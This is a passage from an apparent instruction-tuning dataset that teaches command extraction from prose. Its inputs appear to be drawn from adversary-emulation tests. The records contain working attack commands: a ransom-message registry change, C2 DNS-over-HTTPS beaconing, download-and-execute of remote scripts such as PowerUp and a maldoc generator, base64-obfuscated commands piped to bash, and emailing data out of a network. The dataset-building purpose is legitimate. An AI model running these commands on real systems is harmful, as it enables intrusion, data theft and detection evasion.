    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To display a ransom message during system startup by modifying registry keys, use the following PowerShell command: $orgLegalNoticeCaption = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption).LegalNoticeCaption\n$orgLegalNoticeText = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText).LegalNoticeText\n$newLegalNoticeCaption = \"#{legal_notice_caption}\"\n$newLegalNoticeText = \"#{legal_notice_text}\"\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force",
    "output": "{\"command_list\": [\"$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeCaption).LegalNoticeCaption\\n$orgLegalNoticeText = (Get-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeText).LegalNoticeText\\n$newLegalNoticeCaption = \\\"#{legal_notice_caption}\\\"\\n$newLegalNoticeText = \\\"#{legal_notice_text}\\\"\\nSet-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force\\nSet-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force      \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an infected host sending numerous DoH queries to a C2 server, triggering threshold-based detection, use the following command: for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\" -UseBasicParsing).Content }",
    "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \\\"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\\\" -UseBasicParsing).Content }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test leverages a VBA macro to execute cmd with flags seen in recent maldocs and second-stage downloaders. To perform this action, use the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"  a = Shell(`\"cmd.exe /c choice /C Y /N /D Y /T 3`\", vbNormalFocus)\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"  a = Shell(`\\\"cmd.exe /c choice /C Y /N /D Y /T 3`\\\", vbNormalFocus)\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker could bypass detection by encoding terminal commands in base64. For example, to execute the 'id' command, use this sequence:\n[ \"$(uname)\" = 'FreeBSD' ] && encodecmd=\"b64encode -r -\" && decodecmd=\"b64decode -r\" || encodecmd=\"base64 -w 0\" && decodecmd=\"base64 -d\"\nART=$(echo -n \"id\" | $encodecmd)\necho \"\\$ART=$ART\"\necho -n \"$ART\" | $decodecmd |/bin/bash\nunset ART",
    "output": "{\"command_list\": [\"[ \\\"$(uname)\\\" = 'FreeBSD' ] && encodecmd=\\\"b64encode -r -\\\" && decodecmd=\\\"b64decode -r\\\" || encodecmd=\\\"base64 -w 0\\\" && decodecmd=\\\"base64 -d\\\"\\nART=$(echo -n \\\"id\\\" | $encodecmd)\\necho \\\"\\\\$ART=$ART\\\"\\necho -n \\\"$ART\\\" | $decodecmd |/bin/bash\\nunset ART\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To compile JavaScript code from scriptfile.js into scriptfile.exe using jsc.exe, follow these steps with the command: copy \"#{filename}\" %TEMP%\\hello.js\n#{jscpath}\\#{jscname} %TEMP%\\hello.js\n",
    "output": "{\"command_list\": [\"copy \\\"#{filename}\\\" %TEMP%\\\\hello.js\\n#{jscpath}\\\\#{jscname} %TEMP%\\\\hello.js\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After successful execution, an Excel file with VBA Macro containing sensitive data will be sent outside the network via email, using the following command: Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments \"#{input_file}\" -SmtpServer #{smtp_server}",
    "output": "{\"command_list\": [\"Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments \\\"#{input_file}\\\" -SmtpServer #{smtp_server}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The file can be encrypted by executing this gpg command: echo \"#{pwd_for_encrypted_file}\" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}\n",
    "output": "{\"command_list\": [\"echo \\\"#{pwd_for_encrypted_file}\\\" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
